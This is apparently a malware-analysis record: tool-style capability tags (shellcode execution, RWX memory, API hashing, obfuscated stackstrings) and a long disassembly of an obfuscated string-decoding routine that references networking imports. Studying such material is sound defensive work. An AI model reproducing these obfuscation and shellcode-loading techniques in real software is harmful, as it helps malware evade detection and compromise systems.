Function at 0x1400fa8e4
Capabilities:
Accept command line arguments
Access peb ldr_data
Allocate or change rwx memory
Authenticate hmac
Check http status code
Contain obfuscated stackstrings
Create process on windows
Encode data using xor
Enumerate gui resources
Enumerate process modules
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get ntdll base address
Hash data using fnv
Parse pe header
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x1728]
mov eax, 0x1800
call fcn.1401589e0
sub rsp, rax
mov rax, qword [0x14017b0c0]
xor rax, rsp
mov qword [rbp + 0x16f0], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], rax
lea rcx, [rbp + 0x1728]
movabs rdx, 0xff00ff00ff00ff07
mov qword [rbp + 0x58], rdx
mov qword [rbp + 0x60], rcx
mov rax, qword [rcx]
xor rax, rdx
mov qword [rbp + 0x50], rax
xor eax, eax
mov qword [rcx], rax
mov byte [rbp + 0x230], Ordinal_79
mov byte [rbp + 0x231], 0xb5
mov byte [rbp + 0x232], 0xb4
mov byte [rbp + 0x233], 0xb3
movups xmmword [rbp + 0x234], xmm0
mov qword [rbp + 0x244], rax
mov dword [rbp + 0x24c], eax
movabs rsi, 0xf68cc1c92268c491
movabs r12, 0x37d6c032caef3249
lea r15d, [rax + 1]
movabs r14, 0xa784409860cd96db
mov dil, byte [rsp + 0x50]
call fcn.140158170
mov rbx, qword [rax]
call fcn.140158178
mov r11, qword [rax]
xor eax, eax
mov r10d, eax
cmp r10, 0x20
jae 0x1400fb48d
movzx r8d, byte [rbp + r10 + 0x230]
mov r9b, r8b
cmp rbx, r10
ja 0x1400fb485
lea rax, [r11 + 1]
cmp rbx, rax
jae 0x1400faa03
lea rcx, [r10 + r12]
mov rax, r8
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r8
add rdi, rcx
add dil, r15b
jmp 0x1400faa30
je 0x1400fb419
lea rax, [r11 + 2]
cmp rbx, rax
je 0x1400fb3f4
lea rax, [r11 + 5]
cmp rbx, rax
je 0x1400fb3d9
lea rax, [r11 + 3]
cmp rbx, rax
je 0x1400fb38c
mov r9b, r8b
cmp r11, r10
ja 0x1400fb47d
lea rax, [r11 + 0x28]
cmp rbx, rax
jae 0x1400faa68
movabs rdx, 0x949dc42aa59f1ffd
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov dil, r9b
sub dil, al
add dil, 0x15
jmp 0x1400fac8c
lea rax, [r11 + 1]
cmp rbx, rax
je 0x1400fb373
lea rax, [r11 + 3]
cmp rbx, rax
je 0x1400fb35b
lea rax, [r11 + 5]
cmp rbx, rax
je 0x1400fb340
lea rax, [r11 + 7]
cmp rbx, rax
je 0x1400fb2d0
lea rax, [r11 + 2]
cmp rbx, rax
je 0x1400fb2b5
lea rax, [r11 + rbx]
cmp rax, r10
jbe 0x1400fb091
lea rax, [r11 + 0x3e8]
cmp rbx, rax
je 0x1400fb074
lea rax, [r11 + 8]
cmp rbx, rax
je 0x1400fb04d
lea rax, [r11 + 0x28]
cmp rbx, rax
je 0x1400fb026
lea rax, [r11 + 1]
cmp rbx, rax
je 0x1400fb002
lea rax, [r11 + 6]
cmp rbx, rax
je 0x1400fafdb
lea rax, [r11 + 0x20]
cmp rbx, rax
je 0x1400fafb7
lea rax, [r11 + 0x2a]
cmp rbx, rax
je 0x1400faf93
lea rax, [r11 + 5]
cmp rbx, rax
je 0x1400faf6c
lea rax, [r11 + 0x400]
cmp rbx, rax
je 0x1400faf48
lea rax, [r11 + 0x5a]
cmp rbx, rax
je 0x1400faab6
lea rbx, [r11 + 0x42]
lea r11, [rbx + 0x40]
lea rax, [r11 + 3]
cmp rbx, rax
jb 0x1400fb461
lea rax, [r11 + 9]
cmp rbx, rax
jb 0x1400fb445
lea rax, [r11 + 0x7a]
cmp rbx, rax
jb 0x1400facba
lea rax, [r11 + 2]
cmp rbx, rax
jb 0x1400fac94
lea rax, [r11 + 0x80]
cmp rbx, rax
jb 0x1400fac6e
lea rax, [r11 + 0x61]
cmp rbx, rax
jb 0x1400faeec
lea rax, [r11 + 1]
cmp rbx, rax
jb 0x1400fae98
lea rax, [r11 + 0x64]
cmp rbx, rax
jb 0x1400fae4f
lea rax, [r11 + 0x1000]
cmp rbx, rax
jb 0x1400fae23
lea rax, [r11 + 0xa]
cmp rbx, rax
jb 0x1400faab6
lea rbx, [r11 + 0x5a]
lea r11, [rbx + 0x42]
lea rax, [r11 + 4]
cmp rbx, rax
ja 0x1400fadff
lea rax, [r11 + 0x3e8]
cmp rbx, rax
ja 0x1400faddc
lea rax, [r11 + 0x41]
cmp rbx, rax
ja 0x1400fadb9
lea rax, [r11 + 0x28]
cmp rbx, rax
ja 0x1400fad95
lea rax, [r11 + 0x200]
cmp rbx, rax
ja 0x1400fad71
lea rax, [r11 + 6]
cmp rbx, rax
ja 0x1400fad4e
lea rax, [r11 + 0x20]
cmp rbx, rax
ja 0x1400fad2a
lea rax, [r11 + 0x80]
cmp rbx, rax
ja 0x1400fad06
lea rax, [r11 + 5]
cmp rbx, rax
ja 0x1400face0
lea rax, [r11 + 0x10]
cmp rbx, rax
ja 0x1400faab6
lea rbx, [r11 + 0xa]
lea r11, [rbx + 0x5a]
jmp 0x1400faab6
movabs rdx, 0x519a5b942fe04da3
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov dil, r9b
sub dil, al
sub dil, 0x75
add dil, dl
jmp 0x1400faaa9
movabs rdx, 0xe1ecdb2e9a01e911
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov dil, r9b
sub dil, al
sub dil, 0x77
add dil, dl
jmp 0x1400faa33
movabs rdx, 0x723f5ac90423847f
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov dil, r9b
sub dil, al
sub dil, 0x79
add dil, dl
jmp 0x1400fa9d8
movabs rdx, 0xa4ee21552cf8ffe8
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov dil, r9b
sub dil, al
sub dil, 0x58
mov sil, r10b
jmp 0x1400fb3a6
movabs rcx, 0x3540a0ef971a9b56
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x5a
jmp 0x1400fb3d1
movabs rcx, 0xc593208a013c36c4
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x5c
jmp 0x1400fb3d4
movabs rdx, 0x55e5a0246b5dd232
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov dil, r9b
sub dil, al
sub dil, 0x5e
jmp 0x1400fb277
movabs rcx, 0xe6381fbed57f6da0
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x60
jmp 0x1400fb3ef
movabs rcx, 0x768a9f593fa1090e
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x62
jmp 0x1400fb409
movabs rdx, 0x6dd1ef3a9c2a47c
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov dil, r9b
sub dil, al
sub dil, 0x64
jmp 0x1400fb2e5
movabs rdx, 0x972f9e8e13e43fea
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov dil, r9b
sub dil, al
sub dil, 0x66
jmp 0x1400faf8b
movabs rcx, 0x27821e287e05db58
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x68
jmp 0x1400fb42e
movabs rcx, 0x10505d2a8759dfeb
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x6d
mov byte [rbp + r10 + 0x230], dil
jmp 0x1400fb43d
movabs rcx, 0xa0a2dcc4f17b7b59
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x6f
cmp r11, 0x42
jb 0x1400fae42
mov sil, r10b
lea edx, [rsi + 0x16]
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x34]
mov r9b, r8b
jmp 0x1400fb3a9
movabs rcx, 0x30f55c5f5b9d16c7
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x71
cmp rbx, 4
jae 0x1400fb260
lea rax, [r11 + 0x400]
cmp rbx, rax
jbe 0x1400fb200
lea edx, [r10 + 0x62]
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1400fae6e
movabs rcx, 0xc147dbf9c5beb235
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x73
lea rax, [r11 + rbx]
cmp rax, 0x400
je 0x1400fb29d
lea rax, [r11 + 0x3e8]
cmp rbx, rax
jbe 0x1400fb169
lea edx, [r10 + 0x65]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x3d
add dil, dl
jmp 0x1400faeb7
movabs rdx, 0x7bb298ffe1babfee
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400fb0d5
movabs rdx, 0xc05189a4bdc5b5c
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x1400fb30f
movabs rdx, 0x9c579834b5fdf6ca
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400fb2e5
movabs rdx, 0x2caa17cf201f9238
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400fb120
movabs rdx, 0xbcfc97698a412da6
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x1400fb3ef
movabs rdx, 0x4d4f1703f462c914
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400fb277
movabs rdx, 0xdda1969e5e846482
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x1400fb3d4
movabs rdx, 0x6df41638c8a5fff0
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x1400fb3d1
mov sil, r10b
lea edx, [rsi + 0x5e]
mov ecx, gethostname
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x1400fb3a6
lea rax, [r11 + 0x41]
cmp rbx, rax
jae 0x1400fb0b6
lea edx, [r10 + 0x49]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
add dil, r15b
jmp 0x1400faf0b
lea rax, [r11 + 1]
cmp rbx, rax
jne 0x1400fb0dd
lea edx, [r10 - 6]
mov ecx, reloc.WS2_32.dll_setsockopt
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1400fb42e
lea rax, [r11 + 3]
cmp rbx, rax
jne 0x1400fb101
lea edx, [r10 + 0x1e]
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x1400fb2e5
lea rax, [r11 + 2]
cmp rbx, rax
jne 0x1400fb128
lea edx, [r10 - 0x50]
mov al, r8b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1400fb409
lea rax, [r11 + 5]
cmp rbx, rax
jne 0x1400fb14c
lea edx, [r10 - 0x2c]
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x1400fb277
lea rax, [r11 + 4]
cmp rbx, rax
jne 0x1400faf0b
mov sil, r10b
lea edx, [rsi - 0x76]
mov ecx, Ordinal_33
jmp 0x1400fb07f
lea rax, [r11 + 1]
cmp rbx, rax
jne 0x1400fb18e
mov sil, r10b
lea edx, [rsi - 9]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x3f
jmp 0x1400fb3a3
lea rax, [r11 + 2]
cmp rbx, rax
jne 0x1400fb1b2
lea ecx, [r10 - 0x77]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x41
jmp 0x1400fb3d1
lea rax, [r11 + 3]
cmp rbx, rax
jne 0x1400fb1d6
lea ecx, [r10 + 0x1b]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x43
jmp 0x1400fb3d4
lea rax, [r11 + 6]
cmp rbx, rax
jne 0x1400faeb7
lea edx, [r10 + 0x63]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x4b
mov r9b, r8b
jmp 0x1400fb2e5
lea rax, [r11 + 1]
cmp rbx, rax
jne 0x1400fb217
lea edx, [r10 - 0xc]
mov ecx, Ordinal_45
jmp 0x1400fb0c8
lea rax, [r11 + 2]
cmp rbx, rax
jne 0x1400fb238
lea edx, [r10 + 0x18]
mov al, r8b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x1400fb1f8
lea rax, [r11 + 7]
cmp rbx, rax
jne 0x1400fae6e
lea edx, [r10 + 0x60]
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x1400fb045
lea edx, [r10 - 0x58]
mov al, r8b
and al, dl
mov cl, r8b
sub cl, al
add cl, 0x34
lea edi, [rcx + rcx]
mov r9b, r8b
add dil, dl
lea ecx, [r10 - 0xf]
mov al, cl
and al, r9b
add al, al
sub cl, al
add cl, 0x69
add cl, r9b
add cl, dil
mov byte [rbp + r10 + 0x230], cl
jmp 0x1400fb3ef
lea edx, [r10 + 0x3a]
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
jmp 0x1400fb1f8
lea ecx, [r10 + 0x1f]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x27
jmp 0x1400fb42e
lea edx, [r10 - 5]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x23
add dil, dl
lea ecx, [r10 - 0x7d]
mov al, cl
and al, r9b
add al, al
sub cl, al
add cl, 0x6b
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x230], al
add r11, r15
add rax, r11
sub r10, rax
lea edx, [r10 - 0x34]
mov al, dl
and al, r9b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
mov byte [rbp + r10 + 0x230], cl
add rbx, r15
or rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
jmp 0x1400fb42e
lea ecx, [r10 + 0x69]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x21
jmp 0x1400fb409
lea ecx, [r10 - 0x4d]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x1b
jmp 0x1400fb3d4
mov sil, r10b
lea edx, [rsi - 0x71]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x17
jmp 0x1400fb3a6
mov sil, r10b
lea edx, [rsi + 0x6b]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x13
mov r9b, r8b
add dil, dl
add sil, 0x5f
mov al, sil
and al, r9b
add al, al
sub sil, al
add sil, 0x67
add sil, r9b
mov byte [rbp + r10 + 0x230], sil
movabs rsi, 0xf68cc1c92268c491
add r11, r15
sub r10, r15
jmp 0x1400fb43d
lea ecx, [r10 + 0x23]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0xb
add rbx, r11
jmp 0x1400fb409
lea rax, [r10 + rsi]
and r8b, al
add r8b, r8b
sub al, r8b
lea edi, [r9 + rax]
add dil, 9
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x1400fb43d
lea rax, [r10 + r14]
and r8b, al
add r8b, r8b
sub al, r8b
lea edi, [r9 + rax]
add dil, 3
movzx eax, byte [rbp + r10 + 0x230]
add rax, r11
add r10, rax
add r10, r15
jmp 0x1400fa9c2
sub r10b, 0x13
mov al, r8b
and al, r10b
add al, al
sub r8b, al
lea edi, [r10 + r8]
sub dil, 0x7b
jmp 0x1400fa9bd
add r10b, 0x5b
mov al, r8b
and al, r10b
add al, al
sub r8b, al
lea edi, [r10 + r8]
sub dil, 0x7d
jmp 0x1400fa9ad
mov eax, dword [rbp + 0x175cb3c]
jmp 0x1400fb493
mov eax, dword [rbp + 0x164fd85]
jmp 0x1400fb493
mov eax, dword [rbp + 0x230]
mov dword [0x14017bef0], eax
xor eax, eax
mov ebx, eax
mov dword [rsp + 0x54], eax
movabs rsi, 0x9e5458755e4aef5
movabs rdi, 0x9f89901e00560293
mov r12d, 0xcded1a85
mov dword [rbp - 0x60], 0xf84eee59
mov dword [rbp - 0x5c], 0xb3002016
mov dword [rbp - 0x58], 0x2fd4df39
mov dword [rbp - 0x54], 0xe80fd3a
mov dword [rbp - 0x50], 0xa52bcaf9
mov dword [rbp - 0x4c], 0x820621f3
mov dword [rbp - 0x48], 0x33b00bc5
mov r13b, byte [rsp + 0x50]
mov qword [rbp - 0x80], r13
call fcn.14013b9f4
test al, al
je 0x1400fcada
mov byte [rbp + 0x270], 0x66
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x271], xmm0
mov word [rbp + 0x281], ax
call fcn.140158170
mov rbx, qword [rax]
call fcn.140158178
mov r10, qword [rax]
xor eax, eax
mov r15d, eax
cmp r15, 0x13
jae 0x1400fbd94
movzx r8d, byte [rbp + r15 + 0x270]
mov edx, r8d
cmp rbx, r15
ja 0x1400fbd8b
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x1400fb57f
movabs rcx, 0x352ddab4aac75631
add rcx, r15
mov eax, edx
and rax, rcx
imul r13, rax, 0xfffffffffffffffe
add r13, rdx
add r13, rcx
sub r13b, 0x57
mov qword [rbp - 0x80], r13
jmp 0x1400fb5b9
je 0x1400fbd06
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1400fbcc3
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1400fbc9a
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1400fbc72
lea rax, [r10 + 4]
cmp rbx, rax
je 0x1400fbc51
mov dl, r15b
mov r9b, dl
mov r14b, dl
mov r11b, dl
cmp r10, r15
ja 0x1400fbd82
lea rdi, [r10 + 1]
lea rax, [r10 + 0x28]
cmp rbx, rax
jae 0x1400fb5fd
lea ecx, [rdx + 5]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x23
mov qword [rbp - 0x80], r13
lea rsi, [r10 + 2]
lea rcx, [r10 + 3]
jmp 0x1400fb63a
cmp rbx, rdi
je 0x1400fbc19
lea rsi, [r10 + 2]
cmp rbx, rsi
je 0x1400fbc00
lea rax, [r10 + 6]
cmp rbx, rax
je 0x1400fbbe4
lea rax, [r10 + 4]
cmp rbx, rax
je 0x1400fbb9c
lea rcx, [r10 + 3]
cmp rbx, rcx
je 0x1400fbb7e
lea rax, [r10 + rbx]
cmp rax, r15
jbe 0x1400fb83b
lea rax, [r10 + 0x5a]
cmp rbx, rax
je 0x1400fb822
lea rax, [r10 + 9]
cmp rbx, rax
je 0x1400fb809
lea rax, [r10 + 0x200]
cmp rbx, rax
je 0x1400fb7f0
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1400fb7d7
lea rax, [r10 + 0x10]
cmp rbx, rax
je 0x1400fb647
mov rbx, rax
lea r10, [rax + 0x10]
lea rax, [r10 + 0x400]
cmp rbx, rax
jb 0x1400fbd4e
lea rax, [r10 + 3]
cmp rbx, rax
jb 0x1400fb713
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x1400fb7be
lea rax, [r10 + 0x61]
cmp rbx, rax
jb 0x1400fb799
mov rbx, rax
lea r10, [rax + 5]
lea rax, [r10 + 5]
cmp rbx, rax
ja 0x1400fb77b
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x1400fb762
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x1400fb749
lea rax, [r10 + 8]
cmp rbx, rax
ja 0x1400fb730
lea rax, [r10 + 0x80]
cmp rbx, rax
ja 0x1400fb647
mov rbx, rax
lea r10, [rax + 0x80]
jmp 0x1400fb647
lea ecx, [rdx + 0x39]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
add r13b, 0x71
mov qword [rbp - 0x80], r13
jmp 0x1400fb5bc
sub dl, 0x3a
mov al, dl
and al, r8b
add al, al
sub dl, al
lea r13d, [r8 + rdx]
sub r13b, 0x6a
jmp 0x1400fbc67
sub dl, 0x60
mov al, dl
and al, r8b
add al, al
sub dl, al
lea r13d, [r8 + rdx]
sub r13b, 0x60
jmp 0x1400fbcb0
sub dl, 0x24
mov al, dl
and al, r8b
add al, al
sub dl, al
lea r13d, [r8 + rdx]
sub r13b, 4
jmp 0x1400fbbb4
add dl, 0x18
mov al, dl
and al, r8b
mov ecx, Ordinal_45
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x1400fbd19
add dl, 0x23
mov al, dl
and al, r8b
add al, al
sub dl, al
lea r13d, [r8 + rdx]
add r13b, 0xb
mov qword [rbp - 0x80], r13
mov byte [rbp + r15 + 0x270], r13b
jmp 0x1400fbd2c
sub dl, 3
mov al, dl
and al, r8b
add al, al
sub dl, al
lea r13d, [r8 + rdx]
add r13b, 0x15
jmp 0x1400fb85c
add dl, 0x5a
mov al, dl
and al, r8b
add al, al
sub dl, al
lea r13d, [r8 + rdx]
sub r13b, 0x76
jmp 0x1400fbbb4
sub dl, 0x6a
mov al, dl
and al, r8b
add al, al
sub dl, al
lea r13d, [r8 + rdx]
sub r13b, 0x1a
jmp 0x1400fbcb0
add dl, 0x70
mov al, dl
and al, r8b
add al, al
sub dl, al
lea r13d, [r8 + rdx]
sub r13b, 0x10
jmp 0x1400fbc67
add dl, 0xe
mov al, dl
and al, r8b
add al, al
sub dl, al
lea r13d, [r8 + rdx]
sub r13b, 0x62
jmp 0x1400fbc31
lea rax, [r10 + 0x41]
cmp rbx, rax
jae 0x1400fb904
add dl, 0x31
mov al, dl
and al, r8b
add al, al
sub dl, al
lea r13d, [r8 + rdx]
sub r13b, 0x57
mov qword [rbp - 0x80], r13
lea rax, [r10 + rbx]
cmp rax, 0xa
je 0x1400fbb6b
lea rdx, [r10 + 1]
lea rax, [r10 + 0xa]
cmp rbx, rax
jbe 0x1400fb9c3
lea ecx, [r9 - 0x53]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
add r13b, 0x45
mov qword [rbp - 0x80], r13
lea r11, [r10 + 2]
lea rcx, [r10 + 5]
cmp rbx, 0x1000
jae 0x1400fbb29
lea rax, [r10 + 0x1000]
cmp rbx, rax
jbe 0x1400fba51
lea edx, [r9 - 0x4e]
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r13d, [rcx + rcx]
add r13b, r8b
add r13b, dl
mov qword [rbp - 0x80], r13
cmp r10, 6
jb 0x1400fb7b1
lea edx, [r9 - 0x7a]
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea r13d, [rcx*2 - 0x54]
jmp 0x1400fbc31
cmp rbx, rdi
jne 0x1400fb925
add r11b, 0xa
mov al, r11b
and al, r8b
add al, al
sub r11b, al
lea r13d, [r8 + r11]
sub r13b, 0x46
jmp 0x1400fbd19
cmp rbx, rsi
jne 0x1400fb94a
add r14b, 0x6c
mov al, r14b
and al, r8b
mov ecx, 6
sub cl, al
lea r13d, [rcx + rcx]
add r13b, r14b
add r13b, r8b
jmp 0x1400fbcd8
cmp rbx, rcx
jne 0x1400fb96e
lea edx, [r9 - 0x32]
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x1400fbbb4
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1400fb997
sub r9b, 0x6e
mov al, r9b
and al, r8b
mov ecx, 1
sub cl, al
lea r13d, [rcx + rcx]
add r13b, r9b
add r13b, r8b
jmp 0x1400fbcb0
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x1400fb860
lea edx, [r9 + 0x1a]
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x1400fbc31
cmp rbx, rdx
jne 0x1400fb9e2
lea ecx, [r9 + 0xf]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x69
jmp 0x1400fbc31
lea r11, [r10 + 2]
cmp rbx, r11
jne 0x1400fba07
sub r9b, 0x2d
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea r13d, [r8 + r9]
add r13b, 0x3b
jmp 0x1400fbc88
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1400fba2a
lea ecx, [r9 + 0x35]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x73
jmp 0x1400fbb44
lea rcx, [r10 + 5]
cmp rbx, rcx
jne 0x1400fb8a0
lea edx, [r9 + 0x5b]
mov al, r8b
and al, dl
add al, al
mov r13b, r8b
sub r13b, al
sub r13b, 0x7d
jmp 0x1400fbbb1
cmp rbx, rdx
jne 0x1400fba76
add r9b, 0x14
mov al, r8b
and al, r9b
mov ecx, Ordinal_60
sub cl, al
lea r13d, [rcx + rcx]
add r13b, r8b
add r13b, r9b
jmp 0x1400fbd19
cmp rbx, r11
jne 0x1400fba97
lea edx, [r9 - 0x28]
mov al, r8b
and al, dl
mov ecx, ntohs
sub cl, al
lea r13d, [rcx + rcx]
add r13b, r8b
jmp 0x1400fbbb1
cmp rbx, rcx
jne 0x1400fbab8
sub r9b, 0x64
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea r13d, [r9 + r8]
sub r13b, 0x44
jmp 0x1400fbcb0
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1400fbad7
lea edx, [r9 - 2]
mov al, r8b
and al, dl
mov ecx, 7
sub cl, al
lea r13d, [rcx + rcx]
jmp 0x1400fbb3e
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1400fbb00
add r9b, 0x60
mov al, r8b
and al, r9b
mov ecx, Ordinal_50
sub cl, al
lea r13d, [rcx + rcx]
add r13b, r8b
add r13b, r9b
jmp 0x1400fbc88
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x1400fb8db
sub r9b, 0x3e
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea r13d, [r9 + r8]
sub r13b, 0x4e
jmp 0x1400fbc67
lea edx, [r9 - 0x18]
mov al, r8b
and al, dl
add al, al
mov r13b, r8b
sub r13b, al
sub r13b, 0x58
add r13b, r8b
add r13b, dl
add r9b, 0x19
mov al, r8b
and al, r9b
add al, al
mov cl, r13b
sub cl, al
add cl, 0x51
add cl, r8b
add cl, r9b
mov byte [rbp + r15 + 0x270], cl
jmp 0x1400fbcb0
lea ecx, [r9 + 0x4a]
mov al, r8b
and al, cl
add al, al
sub cl, al
lea r13d, [rcx - 6]
jmp 0x1400fbbb4
add r9b, 0x15
mov al, r8b
and al, r9b
add al, al
mov r13b, r8b
sub r13b, al
add r13b, 0x6d
add r13b, r9b
jmp 0x1400fbcd8
lea edx, [r9 - 0x4d]
mov al, r8b
and al, dl
add al, al
mov r13b, r8b
sub r13b, al
add r13b, 0x1b
add r13b, dl
add r9b, 0x7b
mov al, r8b
and al, r9b
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x5d
add cl, r9b
movzx eax, cl
mov byte [rbp + r15 + 0x270], al
inc r10
add rax, r10
sub r15, rax
jmp 0x1400fbcd8
add r9b, 0x51
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea r13d, [r9 + r8]
sub r13b, 0x37
jmp 0x1400fbcb3
add r9b, 0x2b
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea r13d, [r9 + r8]
sub r13b, 0x2d
jmp 0x1400fbc88
lea edx, [r9 + 0x67]
mov al, r8b
and al, dl
add al, al
mov r13b, r8b
sub r13b, al
add r13b, 0x2f
add r13b, dl
sub r9b, 0x49
mov al, r8b
and al, r9b
add al, al
sub r8b, al
sub r8b, 1
add r8b, r9b
mov byte [rbp + r15 + 0x270], r8b
jmp 0x1400fbc67
lea ecx, [r15 + 0x41]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r13d, [rcx + r8]
add r13b, 0x39
mov r8d, 1
add r10, r8
jmp 0x1400fbc8e
